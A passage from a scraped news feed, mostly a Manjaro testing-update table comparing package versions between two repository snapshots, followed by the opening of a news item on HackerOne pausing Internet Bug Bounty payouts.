                    haskell-warp-tls            3.4.9-191            3.4.9-194
                       haskell-weigh           0.0.18-122           0.0.18-124
                       haskell-what4               1.6-78               1.6-81
                   haskell-wide-word           0.1.8.1-33           0.1.8.1-35
                   haskell-with-utf8          1.1.0.0-131          1.1.0.0-132
            haskell-wl-pprint-extras          3.5.0.5-560          3.5.0.5-561
          haskell-wl-pprint-terminfo          3.7.1.4-560          3.7.1.4-561
                        haskell-wreq            0.5.4.4-3            0.5.4.4-7
                        haskell-wuss           2.0.1.6-31           2.0.1.6-33
                      haskell-xcffib             1.6.1-14             1.6.1-15
           haskell-xdg-desktop-entry            0.1.1.3-2            0.1.1.3-3
                 haskell-xml-conduit          1.9.1.4-150          1.9.1.4-152
                  haskell-xml-hamlet            0.5.0.3-8           0.5.0.3-11
                      haskell-xmlgen          0.6.2.2-191          0.6.2.2-192
                haskell-xss-sanitize          0.3.7.2-131          0.3.7.2-132
                        haskell-yaml        0.11.11.2-205        0.11.11.2-207
                       haskell-yesod          1.6.2.1-460          1.6.2.1-464
                  haskell-yesod-auth         1.6.11.3-282         1.6.11.3-286
                  haskell-yesod-core         1.6.27.1-115         1.6.27.1-119
                  haskell-yesod-form            1.7.9.2-2            1.7.9.2-6
            haskell-yesod-persistent          1.6.0.8-520          1.6.0.8-524
                haskell-yesod-static          1.6.1.0-979          1.6.1.0-983
                  haskell-yesod-test           1.6.23-134           1.6.23-138
                           hedgewars             1.0.3-19             1.0.3-21
                               hefur               1.0-35               1.0-36
                               hepmc              3.3.1-7              3.3.1-8
                          hepmc-docs              3.3.1-7              3.3.1-8
                             hindent              6.1.1-6              6.1.1-8
                               hiprt      3.1.0.cb09c56-2      3.1.0.cb09c56-3
                             hledger               1.52-6              1.52-10
                        hledger-iadd            1.3.22-17            1.3.22-19
                          hledger-ui               1.52-7              1.52-11
                         hledger-web              1.52-10              1.52-14
                               hlint              3.6.1-8             3.6.1-10
                              hoogle         5.0.18.4-265         5.0.18.4-268
                      hopenpgp-tools           0.23.11-40           0.23.11-44
              hsa-amd-aqlprofile-bin              7.1.0-1              7.1.0-2
                           hslua-cli             1.4.3-87             1.4.3-88
                       i3status-rust             0.36.0-1             0.36.1-1
                               iaito              5.9.9-1              6.1.2-1
                      ibus-libpinyin             1.16.0-4             1.16.1-1
                               idris            1.3.4-478            1.3.4-481
                            ihaskell           0.13.0.0-9          0.13.0.0-12
                               incus             6.22.0-1             6.23.0-1
                         incus-tools             6.22.0-1             6.23.0-1
                              jasper              4.2.8-1              4.2.9-1
                          jasper-doc              4.2.8-1              4.2.9-1
                     jellyfin-ffmpeg          1:7.1.3p3-2          1:7.1.3p4-1
                                jolt              1.2.0-2              1.2.0-3
                               kicad             10.0.0-1             10.0.0-2
                          kitinerary            25.12.3-2            25.12.3-3
                              kmonad             0.4.4-89             0.4.4-91
                       kosmindoormap            25.12.3-1            25.12.3-2
                   libedataserverui4             3.58.3-1             3.58.3-2
                               libhx                5.3-1                5.4-1
              libperconaserverclient            8.4.8_8-1            8.4.8_8-2
                      libphonenumber           1:9.0.27-1           1:9.0.27-2
                            libsbsms              2.3.0-5              2.3.0-6
                           libsigrok             0.5.2-25             0.5.2-26
                           libtg_owt    0.git33.26068e2-1    0.git33.26068e2-2
                              libvlc             3.0.22-1             3.0.22-2
                              libvpx             1.16.0-2             1.16.0-3
                      libwireplumber             0.5.13-2             0.5.14-1
                              libwmf             0.2.13-4             0.2.14-1
                              libxdp              1.6.2-1              1.6.3-1
                          lincity-ng             2.14.2-2             2.14.2-3
                           lostfiles               4.14-1               4.15-1
                        lua-luarocks             3.13.0-4             3.13.0-5
                      lua51-luarocks             3.13.0-4             3.13.0-5
                      lua52-luarocks             3.13.0-4             3.13.0-5
                      lua53-luarocks             3.13.0-4             3.13.0-5
                      lua54-luarocks             3.13.0-4             3.13.0-5
                              luajit2.1.1774638290+fbb36bb-12.1.1774896198+18b087c-1
                            luarocks             3.13.0-4             3.13.0-5
                                mako             1.10.0-1             1.11.0-1
                              marble            25.12.3-1            25.12.3-2
                       marble-behaim            25.12.3-1            25.12.3-2
                       marble-common            25.12.3-1            25.12.3-2
                         marble-maps            25.12.3-1            25.12.3-2
                           marble-qt            25.12.3-1            25.12.3-2
                              maxima             5.49.0-7             5.49.0-8
                          maxima-ecl             5.49.0-7             5.49.0-8
                          maxima-fas             5.49.0-7             5.49.0-8
                         maxima-sbcl             5.49.0-7             5.49.0-8
                             melange             0.46.1-1             0.47.0-1
                          merkaartor            0.20.0-20            0.20.0-21
                               mgard              1.6.0-5              1.6.0-6
                           mighttpd2             4.0.4-25             4.0.4-28
                            migraphx              7.2.0-1              7.2.0-2
                           miniupnpd              2.3.9-2             2.3.10-1
                                mise           2026.3.8-1          2026.3.17-1
                               mixxx              2.5.4-2              2.5.4-3
                     mkdocs-material              9.7.5-1              9.7.6-1
                                moor             2.11.1-1             2.12.0-1
                                mosh             1.4.0-28             1.4.0-29
                           mosquitto             2.0.22-2              2.1.2-1
                              mumble            1.5.857-5            1.5.857-6
                       mumble-server            1.5.857-5            1.5.857-6
                              nageru              2.3.2-2              2.3.2-3
                                ncnn           20260113-3           20260113-4
                               ndctl                 82-1                 83-1
                             neovide             0.15.2-2             0.16.0-1
                              neovim             0.11.6-1             0.11.7-1
                             netdata              2.9.0-1              2.9.0-2
               netfilter-fullconenat      r73.0cf3b48-503      r73.0cf3b48-504
                    nextcloud-client           2:33.0.0-1           2:33.0.1-1
                             ngspice               45.2-2                 46-1
                              nickel             1.16.0-2             1.16.0-3
                         nickel-docs             1.16.0-2             1.16.0-3
              nickel-language-server             1.16.0-2             1.16.0-3
                         nodejs-yaml              2.3.1-1              2.3.2-1
                   npm-check-updates             19.5.0-1             19.6.0-1
                                nrpe              4.1.1-1              4.1.2-1
                              nsjail               3.4-22               3.4-23
                              ollama             0.18.3-1             0.19.0-1
                         ollama-cuda             0.18.3-1             0.19.0-1
                         ollama-docs             0.18.3-1             0.19.0-1
                         ollama-rocm             0.18.3-1             0.19.0-1
                       ollama-vulkan             0.18.3-1             0.19.0-1
                                onnx           1:1.20.1-1           1:1.20.1-2
                     onnxruntime-cpu             1.24.4-3             1.24.4-4
                    onnxruntime-cuda             1.24.4-3             1.24.4-4
                onnxruntime-opt-cuda             1.24.4-3             1.24.4-4
                onnxruntime-opt-rocm             1.24.4-3             1.24.4-4
                    onnxruntime-rocm             1.24.4-3             1.24.4-4
                   open-policy-agent             1.15.0-1             1.15.1-1
                            opencode              1.3.3-1              1.3.8-1
                              opencv             4.13.0-3             4.13.0-4
                         opencv-cuda             4.13.0-3             4.13.0-4
                      opencv-samples             4.13.0-3             4.13.0-4
                             openrgb             1.0rc2-5             1.0rc2-6
                          pandoc-cli               3.5-18                3.6-2
                     pandoc-crossref           0.3.19-182           0.3.19-188
                         pandoc-plot            1.9.1-256            1.9.1-263
                         pandora_box             0.20.0-1             0.20.1-1
                            paraview             6.0.1-10             6.0.1-11
                            pd-sfizz             1.2.3-12             1.2.3-13
                      percona-server            8.4.8_8-1            8.4.8_8-2
              percona-server-clients            8.4.8_8-1            8.4.8_8-2
             perl-business-isbn-data       20260325.001-1       20260328.001-1
                         perl-libwww               6.81-2               6.82-1
                     perl-xml-parser               2.48-1               2.49-1
                            php-grpc             1.78.1-2             1.80.0-1
                     php-legacy-grpc             1.78.1-2             1.80.0-1
                     platformio-core             6.1.19-1             6.1.19-3
                platformio-core-udev             6.1.19-1             6.1.19-3
                      podman-desktop             1.25.1-1             1.26.2-1
                           postgrest           10.0.0-532             10.1.0-2
                            protobuf               33.1-4               34.1-1
                          protobuf-c              1.5.2-8              1.5.2-9
                      proton-vpn-cli              0.1.7-1              0.1.8-1
                  proton-vpn-gtk-app             4.15.0-1             4.15.1-1
                   protonmail-bridge             3.23.1-1             3.23.1-2
              protonmail-bridge-core             3.23.1-1             3.23.1-2
                        prusa-slicer              2.9.4-7              2.9.4-8
                           pt2-clone               1.85-1               1.87-1
                     python-cairosvg              2.8.2-1              2.9.0-1
                 python-cinderclient              9.7.0-1              9.8.0-1
                   python-cloudflare             2.15.1-1             2.16.0-1
               python-configargparse              1.7.3-1              1.7.4-1
                    python-curl_cffi             0.14.0-6             0.14.0-7
                     python-deepdiff              8.1.1-1              8.2.0-1
                     python-eth-hash              0.7.1-1              0.8.0-1
                        python-faker             40.9.0-1            40.10.0-1
                  python-fastnumbers              5.1.1-2              5.1.1-3
                     python-flasgger            0.9.7.1-7                    -
                python-flask-restful             0.3.10-6                    -
                        python-gdstk             0.9.46-1             0.9.47-1
     python-googleapis-common-protos             1.73.0-1             1.73.1-1
                       python-grpcio             1.78.1-2             1.80.0-1
                 python-grpcio-tools             1.78.1-2             1.80.0-1
                     python-identify             2.6.17-1             2.6.18-2
           python-importlib-metadata              8.7.1-3              9.0.0-1
                  python-json-logger              4.0.0-1              4.1.0-1
                         python-lmdb              2.1.1-1              2.2.0-1
                      python-mockito              2.0.0-1              2.0.1-1
                     python-narwhals             2.18.0-1             2.18.1-1
                        python-numpy              2.4.3-1              2.4.4-1
                         python-onnx           1:1.20.1-1           1:1.20.1-2
              python-onnxruntime-cpu             1.24.4-3             1.24.4-4
             python-onnxruntime-cuda             1.24.4-3             1.24.4-4
         python-onnxruntime-opt-cuda             1.24.4-3             1.24.4-4
         python-onnxruntime-opt-rocm             1.24.4-3             1.24.4-4
             python-onnxruntime-rocm             1.24.4-3             1.24.4-4
                       python-opencv             4.13.0-3             4.13.0-4
                  python-opencv-cuda             4.13.0-3             4.13.0-4
              python-openstackclient              8.0.0-1              8.1.0-1
                 python-openstacksdk              4.4.0-2              4.5.0-1
                       python-orjson             3.11.7-1             3.11.7-2
                    python-oslo-i18n              6.7.1-1              6.7.2-1
                      python-plexapi             4.18.0-1             4.18.1-1
                      python-protego              0.4.0-1              0.5.0-1
                     python-protobuf               33.1-4               34.1-1
          python-proton-vpn-api-core             4.16.0-1             4.17.2-1
                 python-pychromecast             14.0.9-4            14.0.10-1
                python-pydantic-core           3:2.41.5-3           3:2.41.5-4
                       python-pygit2             1.19.1-2             1.19.2-1
                     python-pypandoc             1.16.2-1               1.17-1
                     python-pypubsub             4.0.3-11              4.0.4-1
                       python-pysdl3           0.9.10b0-1           0.9.11b0-1
                      python-pytorch             2.10.0-3             2.10.0-4
                 python-pytorch-cuda             2.10.0-3             2.10.0-4
                  python-pytorch-opt             2.10.0-3             2.10.0-4
             python-pytorch-opt-cuda             2.10.0-3             2.10.0-4
             python-pytorch-opt-rocm             2.10.0-3             2.10.0-4
                 python-pytorch-rocm             2.10.0-3             2.10.0-4
                        python-regex          2026.2.28-1          2026.3.32-1
                     python-requests             2.32.5-4             2.33.1-1
              python-setuptools-rust             1.12.0-3             1.12.1-1
                        python-sybil              6.1.1-2              7.0.0-1
                    python-testtools              2.8.3-2              2.8.4-1
                      python-textual              8.1.1-1              8.2.1-1
                        python-tomli              2.4.0-1              2.4.1-1
                          python-tox             4.32.0-1             4.33.0-1
                       python-triton              3.5.1-3              3.5.1-4
                        python-urwid              3.0.5-1              4.0.0-1
                   python-validators             0.30.0-1             0.31.0-1
                        python-w3lib              2.3.0-2              2.3.1-1
                     python-werkzeug              3.1.5-1              3.1.6-1
                    python-z3-solver             4.15.4-2             4.16.0-1
                                qgis              4.0.0-1              4.0.0-2
                            qt6-grpc             6.11.0-1             6.11.0-2
                          quickshell              0.2.1-5              0.2.1-6
                           qwen-code             0.13.1-1             0.13.2-1
                            r2ghidra              5.9.8-1              6.1.2-1
                             radare2              5.9.8-1              6.1.2-1
                               razor               2.86-3               2.87-2
                                 re2       2:2025.11.05-1       2:2025.11.05-3
                              reaper               7.66-1               7.67-1
                               rizin              0.8.1-2              0.8.2-1
                               rocal              7.2.0-1              7.2.0-2
                          rofi-emoji              4.1.0-2              4.1.0-3
                          rpi-imager              2.0.6-2              2.0.6-3
                          rubberband              4.0.0-1              4.0.0-2
                   rubberband-ladspa              4.0.0-1              4.0.0-2
                      rubberband-lv2              4.0.0-1              4.0.0-2
                     rubberband-vamp              4.0.0-1              4.0.0-2
                    ruby-addressable              2.8.8-1              2.8.9-1
                          ruby-async             2.34.0-1             2.38.1-1
                ruby-async-container             0.31.0-1             0.34.4-1
                     ruby-async-pool             0.11.1-1             0.11.2-1
                  ruby-async-service             0.19.1-1             0.21.0-1
                     ruby-chef-utils            19.2.27-1            19.2.32-1
                ruby-google-protobuf               33.1-4               34.1-1
                           ruby-grpc             1.78.1-1             1.80.0-1
                       ruby-io-event             1.14.2-1             1.14.5-1
                         ruby-loofah             2.25.0-1             2.25.1-1
                            ruby-lsp             0.26.6-1             0.26.9-1
                       ruby-maxitest              6.1.0-1              6.2.0-1
            ruby-net-http-persistent              4.0.7-1              4.0.8-1
                  ruby-protocol-http             0.59.0-1             0.60.0-1
                  ruby-protocol-rack             0.21.1-1             0.22.0-1
                  ruby-public_suffix              7.0.2-1              7.0.5-1
           ruby-rails-html-sanitizer              1.6.2-3              1.7.0-1
            ruby-repl_type_completor             0.1.13-1             0.1.15-1
                         ruby-sequel             5.99.0-1            5.101.0-1
                 ruby-sorbet-runtime          0.6.12942-1          0.6.13068-1
                        ruby-sqlite3              2.9.1-1              2.9.2-1
        ruby-sus-fixtures-async-http             0.12.0-1             0.12.1-1
                       ruby-zeitwerk              2.7.3-1              2.7.5-1
                      rustypaste-cli              0.9.4-1              0.9.5-1
                           rz-cutter              2.4.1-5              2.4.1-6
                                sbcl              2.6.2-1              2.6.3-1
                           scap-dkms             0.20.0-9             0.23.1-1
                             scummvm           2026.1.0-1           2026.2.0-1
                          sentry-cli              3.3.4-1              3.3.5-1
                       sentry-native             0.13.3-1             0.13.4-1
                               sfizz              1.2.3-8             1.2.3-10
                           sfizz-lib              1.2.3-8             1.2.3-10
                           sfizz-lv2             1.2.3-12             1.2.3-13
                    sfizz-standalone              1.2.3-8             1.2.3-10
                            sfizz-ui             1.2.3-12             1.2.3-13
                          sfizz-vst3             1.2.3-12             1.2.3-13
                         shadowsocks    3.0.0a.20180219-9                    -
                          shellcheck            0.11.0-79            0.11.0-81
                            skaffold             2.18.0-1             2.18.2-1
                                skim              4.0.1-1              4.2.0-1
                         slicer-udev              2.9.4-7              2.9.4-8
                            smplayer             25.6.0-1             25.6.0-2
                            soapyuhd             0.4.1-14             0.4.1-15
                      spotify-player             0.22.1-1             0.23.0-1
                           sqlcipher             4.13.0-1             4.14.0-1
                            sqlfluff              4.0.4-2              4.1.0-1
                             sslscan              2.2.1-1              2.2.2-1
                               stack          2.9.3.1-118          2.9.3.1-123
                             step-ca             0.29.0-1             0.30.2-1
                          strongswan              6.0.4-2              6.0.5-1
                             stumpwm              24.11-9             24.11-10
                     stylish-haskell          0.14.5.0-11          0.14.5.0-13
                               swtpm             0.10.1-1             0.10.1-2
                                 syd             3.51.0-1             3.51.2-1
                           syslog-ng             4.11.0-1             4.11.0-2
                      syslog-ng-amqp             4.11.0-1             4.11.0-2
                    syslog-ng-geoip2             4.11.0-1             4.11.0-2
                     syslog-ng-kafka             4.11.0-1             4.11.0-2
                   syslog-ng-mongodb             4.11.0-1             4.11.0-2
                    syslog-ng-python             4.11.0-1             4.11.0-2
                     syslog-ng-redis             4.11.0-1             4.11.0-2
                      syslog-ng-smtp             4.11.0-1             4.11.0-2
                      syslog-ng-snmp             4.11.0-1             4.11.0-2
                       syslog-ng-sql             4.11.0-1             4.11.0-2
                             systing              1.0.0-1              1.0.0-2
                            taffybar             4.1.0-13             4.1.0-18
                      tamarin-prover            1.12.0-10            1.12.0-14
                     taskwarrior-tui             0.26.7-1             0.26.8-1
                     tauon-music-box              9.1.1-1              9.1.2-1
                    telegram-desktop              6.6.4-6              6.6.4-7
                          terragrunt             0.99.4-2             0.99.5-1
                              thunar             4.20.7-1             4.20.8-1
                         thunderbird              149.0-1            149.0.1-1
                 thunderbird-i18n-af              149.0-1            149.0.1-1
                 thunderbird-i18n-ar              149.0-1            149.0.1-1
                thunderbird-i18n-ast              149.0-1            149.0.1-1
                 thunderbird-i18n-be              149.0-1            149.0.1-1
                 thunderbird-i18n-bg              149.0-1            149.0.1-1
                 thunderbird-i18n-br              149.0-1            149.0.1-1
                 thunderbird-i18n-ca              149.0-1            149.0.1-1
                thunderbird-i18n-cak              149.0-1            149.0.1-1
                 thunderbird-i18n-cs              149.0-1            149.0.1-1
                 thunderbird-i18n-cy              149.0-1            149.0.1-1
                 thunderbird-i18n-da              149.0-1            149.0.1-1
                 thunderbird-i18n-de              149.0-1            149.0.1-1
                thunderbird-i18n-dsb              149.0-1            149.0.1-1
                 thunderbird-i18n-el              149.0-1            149.0.1-1
              thunderbird-i18n-en-gb              149.0-1            149.0.1-1
              thunderbird-i18n-en-us              149.0-1            149.0.1-1
              thunderbird-i18n-es-ar              149.0-1            149.0.1-1
              thunderbird-i18n-es-es              149.0-1            149.0.1-1
                 thunderbird-i18n-et              149.0-1            149.0.1-1
                 thunderbird-i18n-eu              149.0-1            149.0.1-1
                 thunderbird-i18n-fi              149.0-1            149.0.1-1
                 thunderbird-i18n-fr              149.0-1            149.0.1-1
              thunderbird-i18n-fy-nl              149.0-1            149.0.1-1
              thunderbird-i18n-ga-ie              149.0-1            149.0.1-1
                 thunderbird-i18n-gd              149.0-1            149.0.1-1
                 thunderbird-i18n-gl              149.0-1            149.0.1-1
                 thunderbird-i18n-he              149.0-1            149.0.1-1
                 thunderbird-i18n-hr              149.0-1            149.0.1-1
                thunderbird-i18n-hsb              149.0-1            149.0.1-1
                 thunderbird-i18n-hu              149.0-1            149.0.1-1
              thunderbird-i18n-hy-am              149.0-1            149.0.1-1
                 thunderbird-i18n-id              149.0-1            149.0.1-1
                 thunderbird-i18n-is              149.0-1            149.0.1-1
                 thunderbird-i18n-it              149.0-1            149.0.1-1
                 thunderbird-i18n-ja              149.0-1            149.0.1-1
                 thunderbird-i18n-ka              149.0-1            149.0.1-1
                thunderbird-i18n-kab              149.0-1            149.0.1-1
                 thunderbird-i18n-kk              149.0-1            149.0.1-1
                 thunderbird-i18n-ko              149.0-1            149.0.1-1
                 thunderbird-i18n-lt              149.0-1            149.0.1-1
                 thunderbird-i18n-ms              149.0-1            149.0.1-1
              thunderbird-i18n-nb-no              149.0-1            149.0.1-1
                 thunderbird-i18n-nl              149.0-1            149.0.1-1
              thunderbird-i18n-nn-no              149.0-1            149.0.1-1
              thunderbird-i18n-pa-in              149.0-1            149.0.1-1
                 thunderbird-i18n-pl              149.0-1            149.0.1-1
              thunderbird-i18n-pt-br              149.0-1            149.0.1-1
              thunderbird-i18n-pt-pt              149.0-1            149.0.1-1
                 thunderbird-i18n-rm              149.0-1            149.0.1-1
                 thunderbird-i18n-ro              149.0-1            149.0.1-1
                 thunderbird-i18n-ru              149.0-1            149.0.1-1
                 thunderbird-i18n-sk              149.0-1            149.0.1-1
                 thunderbird-i18n-sl              149.0-1            149.0.1-1
                 thunderbird-i18n-sq              149.0-1            149.0.1-1
                 thunderbird-i18n-sr              149.0-1            149.0.1-1
              thunderbird-i18n-sv-se              149.0-1            149.0.1-1
                 thunderbird-i18n-th              149.0-1            149.0.1-1
                 thunderbird-i18n-tr              149.0-1            149.0.1-1
                 thunderbird-i18n-uk              149.0-1            149.0.1-1
                 thunderbird-i18n-uz              149.0-1            149.0.1-1
                 thunderbird-i18n-vi              149.0-1            149.0.1-1
              thunderbird-i18n-zh-cn              149.0-1            149.0.1-1
              thunderbird-i18n-zh-tw              149.0-1            149.0.1-1
                         timescaledb             2.26.0-1             2.26.1-1
             timescaledb-old-upgrade             2.26.0-1             2.26.1-1
                       tokio-console             0.1.14-1             0.1.14-2
                             traefik             3.6.11-1             3.6.12-1
                                tree              2.3.1-1              2.3.2-1
                             udiskie              2.6.1-1              2.6.2-1
                         udisks2-qt5              5.0.6-2                    -
              ultramaster-kr106-clap              2.4.4-1            2.4.6.1-1
               ultramaster-kr106-lv2              2.4.4-1            2.4.6.1-1
              ultramaster-kr106-vst3              2.4.4-1            2.4.6.1-1
                               usage             2.18.2-1              3.2.0-1
                            usbguard              1.1.4-4              1.1.4-5
                                vala            0.56.18-5            0.56.19-1
                             vcspull             1.58.0-1             1.58.1-1
                    vhba-module-dkms          20250329-70          20250329-71
                                 vim           9.2.0204-2           9.2.0272-1
                         vim-runtime           9.2.0204-2           9.2.0272-1
                                 vis 0.9.r397.gda84fe70-1 0.9.r399.g1a4fb0fd-1
             vis-syntax-highlighting 0.9.r397.gda84fe70-1 0.9.r399.g1a4fb0fd-1
                                 vlc             3.0.22-1             3.0.22-2
                             vlc-cli             3.0.22-1             3.0.22-2
                     vlc-gui-ncurses             3.0.22-1             3.0.22-2
                          vlc-gui-qt             3.0.22-1             3.0.22-2
                      vlc-gui-skins2             3.0.22-1             3.0.22-2
                   vlc-plugin-a52dec             3.0.22-1             3.0.22-2
                    vlc-plugin-aalib             3.0.22-1             3.0.22-2
                     vlc-plugin-alsa             3.0.22-1             3.0.22-2
                      vlc-plugin-aom             3.0.22-1             3.0.22-2
                  vlc-plugin-archive             3.0.22-1             3.0.22-2
                  vlc-plugin-aribb24             3.0.22-1             3.0.22-2
                  vlc-plugin-aribb25             3.0.22-1             3.0.22-2
                      vlc-plugin-ass             3.0.22-1             3.0.22-2
                    vlc-plugin-avahi             3.0.22-1             3.0.22-2
                   vlc-plugin-bluray             3.0.22-1             3.0.22-2
                     vlc-plugin-caca             3.0.22-1             3.0.22-2
                     vlc-plugin-cddb             3.0.22-1             3.0.22-2
               vlc-plugin-chromecast             3.0.22-1             3.0.22-2
                    vlc-plugin-dav1d             3.0.22-1             3.0.22-2
                     vlc-plugin-dbus             3.0.22-1             3.0.22-2
         vlc-plugin-dbus-screensaver             3.0.22-1             3.0.22-2
                      vlc-plugin-dca             3.0.22-1             3.0.22-2
                      vlc-plugin-dvb             3.0.22-1             3.0.22-2
                      vlc-plugin-dvd             3.0.22-1             3.0.22-2
                    vlc-plugin-faad2             3.0.22-1             3.0.22-2
                   vlc-plugin-ffmpeg             3.0.22-1             3.0.22-2
                 vlc-plugin-firewire             3.0.22-1             3.0.22-2
                     vlc-plugin-flac             3.0.22-1             3.0.22-2
               vlc-plugin-fluidsynth             3.0.22-1             3.0.22-2
                 vlc-plugin-freetype             3.0.22-1             3.0.22-2
                      vlc-plugin-gme             3.0.22-1             3.0.22-2
                   vlc-plugin-gnutls             3.0.22-1             3.0.22-2
                vlc-plugin-gstreamer             3.0.22-1             3.0.22-2
                  vlc-plugin-inflate             3.0.22-1             3.0.22-2
                     vlc-plugin-jack             3.0.22-1             3.0.22-2
                  vlc-plugin-journal             3.0.22-1             3.0.22-2
                     vlc-plugin-jpeg             3.0.22-1             3.0.22-2
                     vlc-plugin-kate             3.0.22-1             3.0.22-2
                  vlc-plugin-kwallet             3.0.22-1             3.0.22-2
                vlc-plugin-libsecret             3.0.22-1             3.0.22-2
                     vlc-plugin-lirc             3.0.22-1             3.0.22-2
                  vlc-plugin-live555             3.0.22-1             3.0.22-2
                      vlc-plugin-lua             3.0.22-1             3.0.22-2
                      vlc-plugin-mad             3.0.22-1             3.0.22-2
                 vlc-plugin-matroska             3.0.22-1             3.0.22-2
                     vlc-plugin-mdns             3.0.22-1             3.0.22-2
                  vlc-plugin-modplug             3.0.22-1             3.0.22-2
                    vlc-plugin-mpeg2             3.0.22-1             3.0.22-2
                   vlc-plugin-mpg123             3.0.22-1             3.0.22-2
                      vlc-plugin-mtp             3.0.22-1             3.0.22-2
                 vlc-plugin-musepack             3.0.22-1             3.0.22-2
                      vlc-plugin-nfs             3.0.22-1             3.0.22-2
                   vlc-plugin-notify             3.0.22-1             3.0.22-2
                      vlc-plugin-ogg             3.0.22-1             3.0.22-2
                     vlc-plugin-opus             3.0.22-1             3.0.22-2
                      vlc-plugin-png             3.0.22-1             3.0.22-2
                    vlc-plugin-pulse             3.0.22-1             3.0.22-2
                vlc-plugin-quicksync             3.0.22-1             3.0.22-2
               vlc-plugin-samplerate             3.0.22-1             3.0.22-2
                      vlc-plugin-sdl             3.0.22-1             3.0.22-2
                     vlc-plugin-sftp             3.0.22-1             3.0.22-2
                    vlc-plugin-shout             3.0.22-1             3.0.22-2
                      vlc-plugin-smb             3.0.22-1             3.0.22-2
                     vlc-plugin-soxr             3.0.22-1             3.0.22-2
                    vlc-plugin-speex             3.0.22-1             3.0.22-2
                      vlc-plugin-srt             3.0.22-1             3.0.22-2
                      vlc-plugin-svg             3.0.22-1             3.0.22-2
                      vlc-plugin-tag             3.0.22-1             3.0.22-2
                   vlc-plugin-theora             3.0.22-1             3.0.22-2
                  vlc-plugin-twolame             3.0.22-1             3.0.22-2
                     vlc-plugin-udev             3.0.22-1             3.0.22-2
                     vlc-plugin-upnp             3.0.22-1             3.0.22-2
                   vlc-plugin-vorbis             3.0.22-1             3.0.22-2
                      vlc-plugin-vpx             3.0.22-1             3.0.22-2
                     vlc-plugin-x264             3.0.22-1             3.0.22-2
                     vlc-plugin-x265             3.0.22-1             3.0.22-2
                      vlc-plugin-xml             3.0.22-1             3.0.22-2
                     vlc-plugin-zvbi             3.0.22-1             3.0.22-2
                     vlc-plugins-all             3.0.22-1             3.0.22-2
                    vlc-plugins-base             3.0.22-1             3.0.22-2
                   vlc-plugins-extra             3.0.22-1             3.0.22-2
            vlc-plugins-video-output             3.0.22-1             3.0.22-2
           vlc-plugins-visualization             3.0.22-1             3.0.22-2
                              vmexec              0.4.0-1              0.5.2-1
                                vpnc  1:0.5.3.r539.r239-1  1:0.5.3.r557.r241-1
                         warzone2100              4.6.3-2              4.6.3-3
                           watchexec              2.5.0-1              2.5.1-1
             webrtc-audio-processing                2.1-5                2.1-6
                         wireplumber             0.5.13-2             0.5.14-1
                    wireplumber-docs             0.5.13-2             0.5.14-1
                       wireshark-cli              4.6.4-1              4.6.4-2
                        wireshark-qt              4.6.4-1              4.6.4-2
              xdg-desktop-portal-dde             1.0.13-7             1.0.14-1
                           xdp-tools              1.6.2-1              1.6.3-1
                           xfdesktop             4.20.1-3             4.20.2-1
                              xmobar             0.50-137             0.50-141
                              xmonad           0.18.0-154           0.18.0-156
                      xmonad-contrib           0.18.1-138           0.18.1-140
                         xmonad-dbus          0.1.0.2-240          0.1.0.2-243
                       xmonad-extras             0.17.3-6             0.17.3-9
                      xorg-setxkbmap              1.3.4-2              1.3.5-1
                                 xrt          1:2.21.75-5          1:2.21.75-6
                          xtrabackup            8.4.0_5-1            8.4.0_5-2
                                  z3             4.15.4-2             4.16.0-1
                             z3-java             4.15.4-2             4.16.0-1
                             zathura         2026.02.22-1         2026.03.27-1
                          zathura-cb         2026.02.03-3         2026.02.03-4
                        zathura-djvu         2026.02.03-3         2026.02.03-4
                   zathura-pdf-mupdf         2026.02.03-5         2026.02.03-6
                 zathura-pdf-poppler         2026.02.03-3         2026.02.03-4
                          zathura-ps         2026.02.03-3         2026.02.03-4
                              zettlr              4.3.0-1              4.3.1-1
                              zypper            1.14.95-1            1.14.95-2
                            ares-emu                    -                147-2
                             diffoci                    -              0.1.8-1
                         govulncheck                    -              1.1.4-1
                       libkysdk-base                    -            3.0.1.0-1
                         librashader                    -             0.10.1-2
                       python-podman                    -              5.8.0-2
                        python-pylxd                    -              2.4.0-2
                        python-ws4py                    -              0.6.0-4
                         udisks2-qt6                    -              6.0.1-1


:: Different sync package(s) in repository multilib x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                         lib32-clang             22.1.1-1             22.1.2-1
              lib32-gst-plugins-base             1.28.1-2             1.28.1-3
         lib32-gst-plugins-base-libs             1.28.1-2             1.28.1-3
              lib32-gst-plugins-good             1.28.1-2             1.28.1-3
                     lib32-gstreamer             1.28.1-2             1.28.1-3
                        lib32-libvpx             1.15.2-2             1.16.0-2
                          lib32-llvm           1:22.1.1-1           1:22.1.2-1
                     lib32-llvm-libs           1:22.1.1-1           1:22.1.2-1
</code></pre>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>5 posts - 5 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-gnome-thunderbird-deepin-freecad-wireplumber/186720">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Internet Bug Bounty program hits pause on payouts]]></title>
<description><![CDATA[Researchers who identify and report bugs in open-source software will no longer be rewarded by the Internet Bug Bounty team. HackerOne, which administers the program, has said that it is “pausing submissions” while it contemplates ways in which open source security can be handled more effectively...]]></description>
<link>https://tsecurity.de/de/3406137/ai-nachrichten/internet-bug-bounty-program-hits-pause-on-payouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3406137/ai-nachrichten/internet-bug-bounty-program-hits-pause-on-payouts/</guid>
<pubDate>Fri, 03 Apr 2026 20:02:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Researchers who identify and report bugs in open-source software will no longer be rewarded by the Internet Bug Bounty team. HackerOne, which administers the program, has said that it is “pausing submissions” while it contemplates ways in which open source security can be handled more effectively.</p>



